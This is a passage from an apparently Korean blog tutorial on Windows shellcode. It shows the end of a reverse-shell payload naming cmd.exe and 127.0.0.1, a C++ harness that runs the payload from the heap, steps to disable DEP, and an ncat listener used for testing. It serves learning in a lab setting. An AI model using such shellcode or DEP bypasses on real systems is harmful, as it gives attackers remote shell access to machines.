        "\x32\x5f\x33\x32\x2e\x64\x6c\x6c\x05\x63\x6d\x64\x2e\x65\x78\x65"
        "\x05\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x05";
 
    static_assert(sizeof(shellcode) > 4"Use 'char shellcode[] = ...' (not 'char *shellcode = ...')");
 
    // We copy the shellcode to the heap so that it's in writeable memory and can modify itself.
    char *ptr = new char[sizeof(shellcode)];
    memcpy(ptr, shellcode, sizeof(shellcode));
    ((void(*)())ptr)();
}
cs


이 코드가 동작하게 하려면 DEP (Data Execution Prevention)을 비활성화 시켜야 하는데 이는 Project -> <solution name> Properties 에서 Configuration Properties, Linker 그리고 Advanced Data Prevention (DEP) No (/NXCOMPAT:NO)로 설정하면 됩니다. 우리의 쉘 코드는 DEP 가 켜져 있으면 힙 영역이 실행 불가능하기 때문에 쉘 코드가 힙에서 실행 가능하도록 하려면 위 작업이 필요합니다.

 

static_assert C++11 (그래서 VS 2013 CTP 가 필요합니다)에서 소개가 되었고 여기서는 확인 용도로 사용됩니다.


1
char *shellcode = "...";
cs


이렇게 사용하는 대신,


1
char shellcode[] = "...";
cs


이렇게 사용합니다. 두 번째 예에서 sizeof(shellcode) 는 쉘코드의 크기에 영향을 주며 stack에 복사됩니다. 첫 번째 경우에는 sizeof(shellcode)는 단지 포인터의 크기이며 포인터는 .rdata 의 쉘코드를 가리키게 됩니다.

 

쉘코드를 테스트하기 위해서는 명령창 (cmd.exe)을 열고 다음과 같이 입력하고


ncat -lvp 123

이후, 쉘 코드를 실행하면 됩니다.

댓글